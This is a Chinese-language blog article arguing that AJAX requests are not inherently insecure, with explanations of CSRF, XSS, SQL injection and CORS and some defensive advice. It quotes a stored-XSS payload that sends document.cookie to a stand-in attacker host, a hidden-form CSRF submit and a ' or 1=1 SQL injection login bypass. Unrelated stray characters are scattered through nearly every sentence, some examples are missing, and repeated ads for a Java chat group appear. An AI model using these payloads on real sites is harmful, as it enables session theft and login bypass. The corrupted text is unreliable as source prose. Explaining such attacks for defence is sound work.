開篇三問
AJAX請(qǐng)求真的不安全么?
AJAX請(qǐng)求哪里不安全鸯旁?
怎么樣讓AJAX請(qǐng)求更安全噪矛?
前言
本文包含的內(nèi)容較多量蕊,包括AJAX铺罢,CORS,XSS残炮,CSRF等內(nèi)容韭赘,要完整的看完并理解需要付出一定的時(shí)間。
另外势就,見解有限泉瞻,如有描述不當(dāng)之處,請(qǐng)幫忙及時(shí)指出苞冯。
正文開始…
從入坑前端開始袖牙,一直到現(xiàn)在,AJAX請(qǐng)求都是以極高的頻率重復(fù)出現(xiàn)舅锄,也解決過不少AJAX中遇到的問題鞭达,如跨域調(diào)試,錯(cuò)誤調(diào)試等等皇忿。
從這種畴蹭,發(fā)現(xiàn)了一個(gè)共通現(xiàn)象:那就是每次和后臺(tái)人員對(duì)接時(shí),他們都會(huì)提到AJAX請(qǐng)求不安全鳍烁,請(qǐng)用普通http請(qǐng)求叨襟!
雖然很多時(shí)候,都是經(jīng)過多翻口舌之爭(zhēng)后幔荒,最終后臺(tái)那邊妥協(xié)糊闽,允許部分符合條件的AJAX請(qǐng)求梳玫。但是,我卻很糾結(jié)一個(gè)問題:AJAX請(qǐng)求真的不安全么右犹?為什么我自己寫后臺(tái)時(shí)并沒有發(fā)現(xiàn)這個(gè)問題汽纠?
于是,開始準(zhǔn)備搜集資料傀履,結(jié)合自己已有的認(rèn)知虱朵,整理成一份解決方案,分析AJAX請(qǐng)求真的不安全么钓账?哪里不安全碴犬?,后續(xù)遇到類似的問題就直接向?qū)Ψ綊伋鲆黄恼?/p>
大綱
AJAX請(qǐng)求真的不安全么
AJAX不安全的說法從何而來(lái)
常見的幾種Web前端安全問題
CSRF簡(jiǎn)介
CSRF與AJAX的關(guān)系
XSS簡(jiǎn)介
XSS與AJAX的關(guān)系
SQL注入簡(jiǎn)介
SQL注入與AJAX的關(guān)系
AJAX和HTTP請(qǐng)求的區(qū)別
CORS與AJAX安全性之間的關(guān)聯(lián)
CORS與AJAX關(guān)系的簡(jiǎn)介
為什么要配置CORS梆暮?
CORS會(huì)配置些什么信息服协?
CORS Origin: *的安全性
再看,AJAX請(qǐng)求真的不安全么啦粹?
AJAX請(qǐng)求哪里不安全偿荷?
怎么樣讓AJAX請(qǐng)求更安全?
AJAX請(qǐng)求真的不安全么
首先唠椭,先說一個(gè)定論:AJAX請(qǐng)求是否安全跳纳,由服務(wù)端(后臺(tái))決定
有這樣一個(gè)說法:
如果某個(gè)Web應(yīng)用具備良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性贪嫂,反之如果應(yīng)用本身存在漏洞寺庄,不管用何種技術(shù)請(qǐng)求,它都是不安全的
為何會(huì)有這種說法力崇?因?yàn)樵赪eb應(yīng)用中斗塘,客戶端輸入不可信是一個(gè)基本原則
AJAX不安全的說法從何而來(lái)?
在AJAX出現(xiàn)時(shí)亮靴,那時(shí)的服務(wù)端還是很古老的那一批馍盟,因此完全沒有考慮到AJAX出現(xiàn)后,前端請(qǐng)求方式會(huì)變得異常復(fù)雜茧吊,造成以前的安全策略已經(jīng)無(wú)法滿足要求了贞岭,導(dǎo)致大批的后臺(tái)安全漏洞曝光。饱狂。曹步。
很顯然,都是因?yàn)锳JAX出現(xiàn)后曝光了更多的安全漏洞休讳,導(dǎo)致它看起來(lái)很危險(xiǎn)(因?yàn)锳JAX出現(xiàn)后讲婚,請(qǐng)求方式變多了,以前的架構(gòu)在新的請(qǐng)求中就可能出現(xiàn)更多漏洞)
So俊柔,AJAX不安全的說法自然擴(kuò)散到了各個(gè)角落筹麸。
常見的幾種Web前端安全問題
要知道AJAX請(qǐng)求是否安全活合,那么就得先知道Web前端中到底有那幾種安全問題
1.XSS(跨站腳本攻擊)(cross-site?scripting)
->?偽造會(huì)話(基于XSS實(shí)現(xiàn)CSRF)
->?劫持cookie
->?惡意代碼執(zhí)行
2.CSRF(跨站請(qǐng)求偽造)(cross-site?request?forgery)
->?偽造用戶身份操作
3.SQL注入
...(其它暫且不提)
如上,Web前端中的安全問題主要就是這幾大類(僅列舉部分做分析)物赶,所以我們首先要分析AJAX與這幾大類之間的關(guān)系白指。(XSS和CSRF,在下文也會(huì)做簡(jiǎn)單介紹酵紫。)
CSRF簡(jiǎn)介
CSRF告嘲,特征很簡(jiǎn)單:冒用用戶身份,進(jìn)行惡意操作
時(shí)至今日奖地,這項(xiàng)安全漏洞已經(jīng)被人們剖析的很透徹了橄唬,隨便Google,百度之参歹,都會(huì)找到很多的解釋仰楚。這里也用一張圖來(lái)先做簡(jiǎn)單描述:
注,下面介紹參考了來(lái)源文章中的描述犬庇,譬如圖就是參考了來(lái)源中的博文后重繪的
所以僧界,我們看到關(guān)鍵條件是:
采用cookie來(lái)進(jìn)行用戶校驗(yàn)
登錄受信任網(wǎng)站A,并在本地生成Cookie
在不登出A的情況下臭挽,訪問危險(xiǎn)網(wǎng)站B
一般在(4)處惡意網(wǎng)站(B)的攻擊手段如下(必須是指向A的地址捂襟,否則無(wú)法帶上cookie):
//?1.譬如在網(wǎng)站內(nèi)的圖片資源中潛入惡意的轉(zhuǎn)賬操作
//?2.構(gòu)建惡意的隱藏表單,并通過腳本提交惡意請(qǐng)求
document.getElementById("csrf-form").submit()
而且埋哟,從頭到尾笆豁,攻擊網(wǎng)站都沒有獲取到過 cookie,Java進(jìn)階交流群851531810都是通過瀏覽器間接實(shí)現(xiàn)(利用Web的cookie隱式身份驗(yàn)證機(jī)制)赤赊,所以HttpOnly并不會(huì)影響這個(gè)攻擊
最后說下,幾種常見的CSRF防御手段:
驗(yàn)證HTTP Referer字段(非常簡(jiǎn)單煞赢,但是鑒于客戶端并不可信任抛计,所以并不是很安全)
防止CSRF,檢查Referer字段簡(jiǎn)單直接照筑,但是其完全依賴瀏覽器發(fā)送正確的Referer字段吹截。
雖然http協(xié)議對(duì)此字段的內(nèi)容有明確的規(guī)定,但并無(wú)法保證來(lái)訪的瀏覽器的具體實(shí)現(xiàn)凝危,
亦無(wú)法保證瀏覽器沒有安全漏洞影響到此字段波俄。并且也存在攻擊者攻擊某些瀏覽器,篡改其Referer字段的可能蛾默。
在請(qǐng)求地址中添加token并驗(yàn)證
譬如post中懦铺,以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token
CSRF與AJAX的關(guān)系
上文中,我們看到CSRF的前提是cookie驗(yàn)證用戶身份支鸡,那么它與AJAX的關(guān)系大么冬念?
我們先分析AJAX中帶cookie驗(yàn)證的情況:
AJAX受到瀏覽器的同源策略限制
AJAX默認(rèn)無(wú)法請(qǐng)求跨域的接口
當(dāng)然后臺(tái)可以配置
Access-Control-Allow-Origin: *之類的允許所有的跨域請(qǐng)求
AJAX請(qǐng)求無(wú)法攜帶跨域cookie
如果強(qiáng)行開啟withCredentials趁窃,必須服務(wù)端配合認(rèn)證,無(wú)法用作攻擊
嗯哼…看到這急前,基本就可以認(rèn)為CSRF與AJAX請(qǐng)求無(wú)緣了……..
譬如假設(shè)上圖中第4部分的請(qǐng)求由AJAX發(fā)起醒陆,假設(shè)網(wǎng)站A已經(jīng)允許了Access-Control-Allow-Origin: *,由于網(wǎng)站B與網(wǎng)站A是不同域名裆针,所以存在跨域刨摩,根據(jù)同源策略,請(qǐng)求時(shí)根本就無(wú)法攜帶cookie世吨,故而無(wú)法通過身份認(rèn)證码邻,攻擊失敗…..
就算強(qiáng)行開啟withCredentials,攜帶跨域cookie另假,但是由于服務(wù)端并不會(huì)單獨(dú)配置網(wǎng)站B的跨域cookie(需配置Access-Control-Allow-Credentials: true像屋,而且這時(shí)候不允許設(shè)置Allow-Origin: *),所以肯定認(rèn)證失敗边篮。
可以看到己莺,就算Access-Control-Allow-Origin: *允許所有來(lái)源的AJAX請(qǐng)求,跨域的cookie默認(rèn)情況下仍然是無(wú)法攜帶的戈轿,無(wú)法CSRF
所以說凌受,結(jié)論是:CSRF與AJAX無(wú)關(guān)
XSS簡(jiǎn)介
既然CSRF與AJAX關(guān)系不大,那么XSS應(yīng)該會(huì)與AJAX有很大關(guān)系吧思杯?(要不然為什么一直說AJAX請(qǐng)求不安全胜蛉,對(duì)吧)。那么請(qǐng)繼續(xù)看下去(本文中只限JS范疇)
XSS(cross-site scripting)色乾,看起來(lái)簡(jiǎn)寫應(yīng)該是css更合適誊册。但是為了和層疊式樣式表區(qū)分,就用XSS簡(jiǎn)寫表示
XSS的特征也可以概括為:跨域腳本注入暖璧,攻擊者通過某種方式將惡意代碼注入到網(wǎng)頁(yè)上案怯,然后其他用戶觀看到被注入的頁(yè)面內(nèi)容后會(huì)受到特定攻擊。
相比CSRF澎办,XSS囊括的內(nèi)容更多嘲碱,而且往往是多種攻擊形式組合而成,這里以前文中介紹的幾種為例:
1.cookie劫持
同樣局蚀,頁(yè)面中有一個(gè)評(píng)論輸入麦锯,輸入后會(huì),因?yàn)楹笈_(tái)的漏洞琅绅,沒有過濾特殊字符扶欣,會(huì)直接明文保存到數(shù)據(jù)庫(kù)中,然后展示到網(wǎng)頁(yè)時(shí)直接展示明文數(shù)據(jù),那么如下Java進(jìn)階交流群851531810
<%@pagelanguage="java"contentType="text/html;?charset=UTF-8"pageEncoding="UTF-8"%>
請(qǐng)輸入評(píng)論內(nèi)容:
然后攻擊者分析后宵蛀,輸入
window.open("http://www.attackpage.com/record?secret="+document.cookie)
保存文章昆著。很簡(jiǎn)單的代碼,由于沒有過濾腳本术陶,那么其它用戶登陸后凑懂,在看到這篇文章時(shí)就會(huì)自動(dòng)將他們的cookie信息都發(fā)送到了攻擊者的服務(wù)器。
攻擊者可以在cookie(譬如jsessionid對(duì)應(yīng)的session)有效期內(nèi)拿它們冒充用戶操作梧宫。
需要注意接谨,這里和CSRF的區(qū)別是,這里是拿到了cookie后主動(dòng)冒充用戶的塘匣,而CSRF中根本就不知cookie脓豪,僅利用瀏覽器的隱式校驗(yàn)方式冒充用戶。
2.會(huì)話偽造
同樣是評(píng)論漏洞的示例忌卤。
攻擊者輸入(舉例比喻)
然后扫夜,接下來(lái)發(fā)生的故事就和CSRF中提到的一致。這種情況就是基于XSS而開展的CSRF驰徊,也有人喜歡稱之為XSRF
需要注意笤闯,這里并沒有自己拿到cookie,而是CSRF中提到的利用瀏覽器的隱式驗(yàn)證機(jī)制來(lái)冒充用戶棍厂。
3.其它惡意代碼執(zhí)行
其實(shí)上面的cookie劫持以及會(huì)話偽造都算是惡意代碼執(zhí)行颗味,為了區(qū)別,這里就專指前端的流氓JS牺弹。
譬如前面的評(píng)論中的輸入可以是:
譬如市面上盛行的網(wǎng)頁(yè)游戲彈窗等浦马。
譬如干脆直接讓這個(gè)頁(yè)面卡死都可以。
譬如無(wú)限循環(huán)张漂。
這里再提一點(diǎn)晶默,上述都是從前端輸入作為入口的,但實(shí)際上有一類的輸入也不可忽視鹃锈,那就是:富文本攻擊
它的特點(diǎn)就是: 富文本中注入了腳本荤胁,并且前后端未進(jìn)行過濾,導(dǎo)致直接輸出到了頁(yè)面中
因?yàn)榇嬖诤芏囗?yè)面屎债,都是將富文本內(nèi)容展示到網(wǎng)頁(yè)上的,沒有進(jìn)行過濾(哪怕時(shí)至今日垢油,仍然有不少頁(yè)面)盆驹,這樣只要富文本中有注入腳本,基本就中招了…..
結(jié)論:
只要最終能向頁(yè)面輸出可執(zhí)行的腳本語(yǔ)句滩愁,那么就是有漏洞躯喇,XSS攻擊都有可能發(fā)生。
而且,基本上xss漏洞是很廣泛的廉丽,雖然攻擊類型很被動(dòng)倦微,也需要大量時(shí)間分析,但勝在大量的網(wǎng)站上都存在(特別是那種長(zhǎng)期不更新的)
再提一點(diǎn)正压。上述的介紹更多的是從造成的后果來(lái)看欣福,但其實(shí)如果從攻擊手動(dòng)來(lái)看的話可以分為幾大類型:
反射型XSS攻擊(直接通過URL注入,而且很多瀏覽器都自帶防御)
存儲(chǔ)型XSS攻擊(存儲(chǔ)到DB后讀取時(shí)注入)
還有一個(gè)DOM-Based型焦履。
上述示例中都是存儲(chǔ)型拓劝,具體更多內(nèi)容網(wǎng)上已經(jīng)有很詳細(xì)的資料,這里不再繼續(xù)深入允悦,放一張圖鞏固下灯蝴。
如何預(yù)防XSS:
1崎页、輸入過濾,不信任用戶的任何輸入厢洞,過濾其中的<、>典奉、/等可能導(dǎo)致腳本注入的特殊字符躺翻,或者過濾script、javascript等腳本關(guān)鍵字秋柄,或者對(duì)輸入數(shù)據(jù)的長(zhǎng)度進(jìn)行限制等等获枝,還得考慮攻擊者使用十六進(jìn)制編碼來(lái)輸入腳本的方式。
2骇笔、輸出進(jìn)行編碼省店,和輸入過濾類似,不過是從輸出上著手笨触,數(shù)據(jù)輸出到頁(yè)面時(shí)懦傍,經(jīng)過HtmlEncoder等工具編碼,這樣就不會(huì)存在直接輸出可執(zhí)行的腳本了
3芦劣、cookie設(shè)置http-only粗俱,這樣用腳本就無(wú)法獲取cookie了(這樣只有瀏覽器向Web服務(wù)器發(fā)起請(qǐng)求的時(shí)才會(huì)帶上cookie字段,避免了XSS攻擊利用JavaScript的document.cookie獲取cookie)
4虚吟、Cookie防盜寸认,盡可能地避免在Cookie中泄露隱私,如用戶名串慰、密碼等偏塞;或者,為了防止重放攻擊邦鲫,可以將Cookie和IP進(jìn)行綁定灸叼,這樣也可以阻止攻擊者冒充正常用戶的身份神汹。
注意,特別是后臺(tái)古今,一定不能信任前端的輸入屁魏,需要過濾與校驗(yàn)
XSS與AJAX的關(guān)系
以上分析了XSS造成一些影響與問題,仍然發(fā)現(xiàn):與AJAX關(guān)系不大捉腥,因?yàn)檫@些問題不管用不用AJAX都會(huì)發(fā)生氓拼。
看看這種情況,譬如上述的富文本注入中:
某個(gè)接口采用AJAX交互
AJAX請(qǐng)求完后將對(duì)應(yīng)富文本字段顯示到了頁(yè)面上-譬如innerHTML
但是但狭,這真的與AJAX無(wú)關(guān)披诗,這是前后端沒有進(jìn)行輸入輸出過濾而造成的后果。
所以立磁,還是那句話:如果某個(gè)Web應(yīng)用具備良好的安全性呈队,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果應(yīng)用本身存在漏洞唱歧,不管用何種技術(shù)請(qǐng)求宪摧,它都是不安全的
SQL注入簡(jiǎn)介
sql注入展開將也是一門很大的學(xué)問,很早以前更是大行其道(當(dāng)然颅崩,現(xiàn)在…)几于,這里僅僅舉幾個(gè)最極端的示例。
前提是后臺(tái)沒有過濾前端的輸入數(shù)據(jù)沿后,否則根本無(wú)法生效
假設(shè)頁(yè)面A中有一個(gè)登陸查詢存在拙劣的sql注入漏洞沿彭,這樣子的:(最極端,最傻的情況)
<%@pagelanguage="java"contentType="text/html;?charset=UTF-8"pageEncoding="UTF-8"%>
請(qǐng)輸入用戶名與密碼:
在接收到登陸請(qǐng)求后尖滚,服務(wù)端的實(shí)際執(zhí)行代碼時(shí)是:
String?sql?=?"SELECT*FROMusersWHEREname='"?+?name?+?"'ANDpassword='"?+?password?+?"'";
然而有攻擊者分析出后臺(tái)可能存在漏洞喉刘,嘗試sql注入攻擊,輸入
name?=?'?or?1=1
password?=?anything
那么這樣漆弄,后臺(tái)接收到數(shù)據(jù)后睦裳,實(shí)際上查詢的結(jié)果是
SELECT*FROMusersWHEREname='?'or1=1ANDpassword='anything'
故而,攻擊者成功的繞過的用戶名撼唾,利用后臺(tái)漏洞登陸了廉邑。
當(dāng)然了,像這類這么低級(jí)的漏洞倒谷,現(xiàn)象幾乎已經(jīng)不存在了蛛蒙,往往這類型漏洞需要仔細(xì)分析,耗時(shí)渤愁。(又或者是有內(nèi)奸…..)
SQL注入與AJAX的關(guān)系
額宇驾,從上述的示例中看不出和AJAX有什么關(guān)系。但是我們可以這樣假設(shè):
有一個(gè)接口猴伶,接收AJAX post的數(shù)據(jù)
數(shù)據(jù)中有一個(gè)字段?name,后臺(tái)接收到后沒有進(jìn)行過濾,直接如上面的演示一樣他挎,執(zhí)行sql語(yǔ)句了
所以AJAX中如果給那個(gè)字段傳入非法的注入信息筝尾,就會(huì)觸發(fā)這個(gè)漏洞,導(dǎo)致攻擊生效
對(duì)办桨,就是這樣極端的情況下才會(huì)發(fā)生筹淫,而且與AJAX并沒有關(guān)系,因?yàn)閾Q成任何一種其它請(qǐng)求都會(huì)有類似的情況….
所以說呢撞,結(jié)論是:SQL注入與AJAX無(wú)關(guān)
AJAX和HTTP請(qǐng)求的區(qū)別
從本質(zhì)上將:AJAX就是瀏覽器發(fā)出的HTTP請(qǐng)求损姜,只不過是瀏覽器加上了一個(gè)同源策略限制而已。AJAX請(qǐng)求的XMLHTTPRequest對(duì)象就是瀏覽器開放給JS調(diào)用HTTP請(qǐng)求用的殊霞。Java進(jìn)階交流群851531810
那么AJAX和HTTP的區(qū)別呢摧阅?列出以下幾點(diǎn):
AJAX請(qǐng)求受到瀏覽器的同源策略限制,存在跨域問題
AJAX在進(jìn)行復(fù)雜請(qǐng)求時(shí)绷蹲,瀏覽器會(huì)預(yù)先發(fā)出OPTIONS預(yù)檢(HTTP自己是不會(huì)預(yù)檢的)
從使用角度上說棒卷,AJAX使用簡(jiǎn)單一點(diǎn),少了些底層細(xì)節(jié)祝钢,多了些瀏覽器特性(如自動(dòng)帶上同域cookie等)
所以說比规,和認(rèn)證上的HTTP請(qǐng)求的區(qū)別就是-多了一次瀏覽器的封裝而已(瀏覽器會(huì)有自己的預(yù)處理,加上特定限制)
但是拦英,從最終發(fā)出的報(bào)文來(lái)看蜒什,內(nèi)容都是一樣的(HTTP協(xié)議規(guī)范的內(nèi)容),AJAX是發(fā)送HTTP請(qǐng)求的一種方式
所以從這一點(diǎn)可以得出一個(gè)結(jié)論:AJAX本質(zhì)上安全性和HTTP請(qǐng)求一樣
CORS與AJAX安全性之間的關(guān)聯(lián)
按照前文中提到的內(nèi)容疤估,基本無(wú)法得出AJAX與請(qǐng)求不安全的關(guān)聯(lián)灾常。那么接下來(lái),再繼續(xù)分析做裙,如果使用了跨域資源共享(CORS)后的安全性岗憋。(因?yàn)橥鵤jax都會(huì)伴隨著CORS)
CORS與AJAX關(guān)系的簡(jiǎn)介
這是一個(gè)跨域共享方案,大致流程就是:(僅以復(fù)雜請(qǐng)求的預(yù)檢舉例-這一部分要求提前掌握CORS相關(guān)知識(shí))
前端AJAX請(qǐng)求前發(fā)出一個(gè)OPTIONS預(yù)檢锚贱,會(huì)帶一堆相關(guān)頭部發(fā)送給服務(wù)端
服務(wù)端在接受到預(yù)檢時(shí)仔戈,檢查頭部,來(lái)源等信息是否合法拧廊,合法則接下來(lái)允許正常的請(qǐng)求监徘,
否則直接無(wú)情的拒絕掉
瀏覽器端如果收到服務(wù)端拒絕的信息(響應(yīng)頭部檢查),就拋出對(duì)應(yīng)錯(cuò)誤吧碾。
否則就是正常的響應(yīng)凰盔,接下來(lái)發(fā)出真正的請(qǐng)求(如POST)
請(qǐng)求和響應(yīng)的頭部信息大概如下:
Request Headers
//?在CORS中專門作為Origin信息供后端比對(duì),表示來(lái)源域倦春。
Origin:?http://xxx
Access-Control-Request-Headers:?X-Requested-With
//?所有用setRequestHeader方法設(shè)置的頭部都將會(huì)以逗號(hào)隔開的形式包含在這個(gè)頭中户敬,一般POST請(qǐng)求中就會(huì)帶上
Access-Control-Request-Method:?OPTIONS
Response Headers
Access-Control-Allow-Headers:?Origin,?X-Requested-With,?Content-Type,?Accept
Access-Control-Allow-Methods:?GET,?POST,?OPTIONS
Access-Control-Allow-Origin:?http://xxx
最終落剪,客戶端發(fā)出的請(qǐng)求,必須符合服務(wù)端的校驗(yàn)規(guī)則才能正確尿庐,服務(wù)端才會(huì)返回正確頭部忠怖,否則只會(huì)請(qǐng)求失敗。報(bào)跨域錯(cuò)誤抄瑟。
以上僅是簡(jiǎn)介凡泣,更多信息可以參考來(lái)源中的ajax跨域,這應(yīng)該是最全的解決方案了
為什么要配置CORS皮假?
因?yàn)橥床呗韵拗菩猓珹JAX無(wú)法請(qǐng)求跨域資源,CORS可以解決AJAX跨域請(qǐng)求問題惹资。
因此:在本文中贺纲,配置CORS只是為了AJAX能跨域請(qǐng)求
CORS會(huì)配置些什么信息?
Access-Control-Allow-Headers:?Origin,?X-Requested-With,?Content-Type,?Accept
Access-Control-Allow-Methods:?GET,?POST,?OPTIONS
Access-Control-Allow-Origin:?http://xxx
如上布轿,加上這個(gè)配置后哮笆,必須符合要求的才算是正常的請(qǐng)求,否則就會(huì)拒絕掉汰扭,一般AJAX跨域的話都會(huì)有OPTIONS稠肘,所以在預(yù)檢中就做了這一步。Java進(jìn)階交流群851531810
可以看到萝毛,關(guān)鍵的可變信息是:Access-Control-Allow-Origin: http://xxx
這個(gè)配置就是域名白名單项阴,規(guī)定在什么樣的域名下才能進(jìn)行AJAX跨域請(qǐng)求。
CORS Origin: *的安全性
關(guān)鍵問題來(lái)了笆包,在上面的CORS配置是這樣的:
Access-Control-Allow-Origin:?http://xxx
但是這個(gè)配置只允許特定域名訪問环揽,鑒于前端的復(fù)雜性,有時(shí)候調(diào)試起來(lái)不是很方便庵佣,因此有時(shí)候歉胶,會(huì)偷懶的設(shè)置為:
Access-Control-Allow-Origin:?*
這個(gè)代表所有來(lái)源的跨域AJAX請(qǐng)求都能正常響應(yīng)。
接下來(lái)我們?cè)賮?lái)分析設(shè)置Origin: *可能帶來(lái)哪些問題巴粪。(都是基于AJAX的情況)
問題1:會(huì)對(duì)cookie認(rèn)證造成影響么通今?
不會(huì)。雖然*代表了所有來(lái)源都能正常請(qǐng)求肛根,但是同源策略下辫塌,是無(wú)法帶上跨域cookie的。因此根本無(wú)法用身份驗(yàn)證派哲。
而且臼氨,就算用withCredentials強(qiáng)行帶上跨域cookie,因?yàn)楹笈_(tái)沒有支持芭届,所以會(huì)報(bào)錯(cuò)储矩。(這可以看成是CORSs模型的最后一道防線)
再者感耙,后臺(tái)就算配置Access-Control-Allow-Credentials允許跨域cookie,但是這時(shí)候的安全策略是Origin不允許為椰苟,必須是一個(gè)明確的地址抑月。(否則你就可以看到瀏覽器的報(bào)錯(cuò)信息-跨域cookie時(shí),Origin不允許為)
問題2:如果偽造Origin頭部呢舆蝴?
首先,標(biāo)準(zhǔn)的瀏覽器中是不允許你偽造的(除非有嚴(yán)重漏洞)题诵,所以一般需要通過模擬客戶端請(qǐng)求偽造洁仗。
但是。在非瀏覽器情況下性锭,本來(lái)就沒有同源策略赠潦。這又是何必…..
所以說,偽造Origin與CORS并沒有關(guān)系草冈。
問題3:如果后臺(tái)本來(lái)就存在漏洞呢她奥?
做這樣一個(gè)假設(shè),假設(shè)用戶所在網(wǎng)絡(luò)的內(nèi)網(wǎng)中有一臺(tái)內(nèi)網(wǎng)服務(wù)器怎棱,并且配置了允許所有的跨域請(qǐng)求:(當(dāng)然哩俭,外網(wǎng)是請(qǐng)求不到內(nèi)網(wǎng)的)
//?允許任何來(lái)自任意域的跨域請(qǐng)求
Access-Control-Allow-Origin:?*
再假設(shè)內(nèi)網(wǎng)服務(wù)器上恰巧存在敏感資源,并且沒有額外設(shè)防拳恋,只要內(nèi)網(wǎng)就能訪問凡资。譬如:
192.168.111.23/users.md
然后用戶訪問了惡意網(wǎng)頁(yè),而像HTML之類的網(wǎng)頁(yè)都是下載到本地執(zhí)行的谬运,正好網(wǎng)頁(yè)內(nèi)有惡意代碼隙赁,去向192.168.111.23/users.md請(qǐng)求資源,再將接收到的服務(wù)端返回發(fā)送到攻擊者服務(wù)器梆暖。(因?yàn)榧恿薕rigin為*伞访,而且AJAX是由本地瀏覽器發(fā)出的,所以用戶下載到本地的惡意網(wǎng)站是可以訪問到用戶內(nèi)網(wǎng)中的后臺(tái)的)
然后這些敏感數(shù)據(jù)就這樣被盜取了轰驳。
But厚掷,這是因?yàn)榉?wù)端漏洞而存在的問題,設(shè)置Origin為的后臺(tái)上為何要放置敏感資源滑废?正常設(shè)置為Origin為的最大作用是用作公共API蝗肪。
而且更重要的是,為何敏感資源就這樣輕易的被獲取了蠕趁?為什么沒有二次驗(yàn)證薛闪?
SO,后臺(tái)本身有漏洞俺陋,所以才導(dǎo)致被攻擊豁延,AJAX恰好是攻擊的手段之一(除了AJAX外還會(huì)有其它的方式)昙篙,所以很多鍋都甩到了AJAX頭上。
這樣诱咏,可以得出一個(gè)保守點(diǎn)的結(jié)論:
Origin如果不是苔可,AJAX請(qǐng)求并不會(huì)有安全問題,如果是袋狞,可能會(huì)由于后臺(tái)的漏洞焚辅,不經(jīng)意間,AJAX就被作為一種攻擊手段了苟鸯,導(dǎo)致了出現(xiàn)AJAX不安全的說法
再看同蜻,AJAX請(qǐng)求真的不安全么?
仍然是最初的結(jié)論:
如果某個(gè)Web應(yīng)用具備良好的安全性早处,那么再怎么用不安全的AJAX也削弱不了它的安全性湾蔓,反之如果應(yīng)用本身存在漏洞,不管用何種技術(shù)請(qǐng)求砌梆,它都是不安全的
我們可以看到默责,XSS也好,CSRF也好咸包,以及其它隱藏的可能漏洞也好桃序,本質(zhì)上都是后臺(tái)已有漏洞造成的問題,AJAX最多是被用作一種攻擊手段(甚至某些里面AJAX還無(wú)法使用)
提到AJAX請(qǐng)求不安全的诉儒,譬如有CORS里面配置Origin: *造成某些極端情況下能通過AJAX發(fā)出攻擊葡缰。但事實(shí)上這也是其中的一種攻擊手段而已,沒有AJAX忱反,該不安全的仍然不安全泛释。
譬如還有的說法是:因?yàn)樵贏JAX出現(xiàn)以前,如果出現(xiàn)安全漏洞温算,容易被察覺怜校,但AJAX是異步的,更容易隱式的出現(xiàn)安全問題…..這也與安全性的本質(zhì)無(wú)關(guān)注竿。
最重要一點(diǎn)茄茁,從Web應(yīng)用安全角度來(lái)談,Web應(yīng)用必須從不信任客戶端巩割。所以不要再把鍋甩給AJAX裙顽。
AJAX請(qǐng)求哪里不安全?
同上宣谈,AJAX本身并不存在這種安全問題愈犹。不過有一點(diǎn)需注意,如果使用了CORS方案。
Allow-Origin可以設(shè)置特定的值漩怎,過濾特定的白名單
對(duì)于一些公共的API勋颖,可以直接將Allow-Origin設(shè)置為*
當(dāng)然,如果確認(rèn)后臺(tái)沒有這些隱藏漏洞勋锤,可以直接使用*饭玲,畢竟也只是針對(duì)瀏覽器的同源策略而已,影響沒有那么大叁执。
怎么樣讓AJAX請(qǐng)求更安全茄厘?
仍然是文中反復(fù)提到的結(jié)論:
讓W(xué)eb后臺(tái)更安全,則AJAX請(qǐng)求也更安全徒恋,反之后臺(tái)有漏洞蚕断,不管怎么樣都是不安全的
寫在最后的話
這樣的話,應(yīng)該可以把AJAX不安全的鍋甩掉了吧入挣?
最后,給大家推薦一個(gè)Java進(jìn)階交流群851531810硝拧,不管你在地球哪個(gè)方位径筏,不管你參加工作幾年都?xì)g迎你的入駐!(群內(nèi)會(huì)免費(fèi)提供一些群主收藏的免費(fèi)學(xué)習(xí)書籍資料以及整理好的幾百道面試題和答案文檔U咸铡)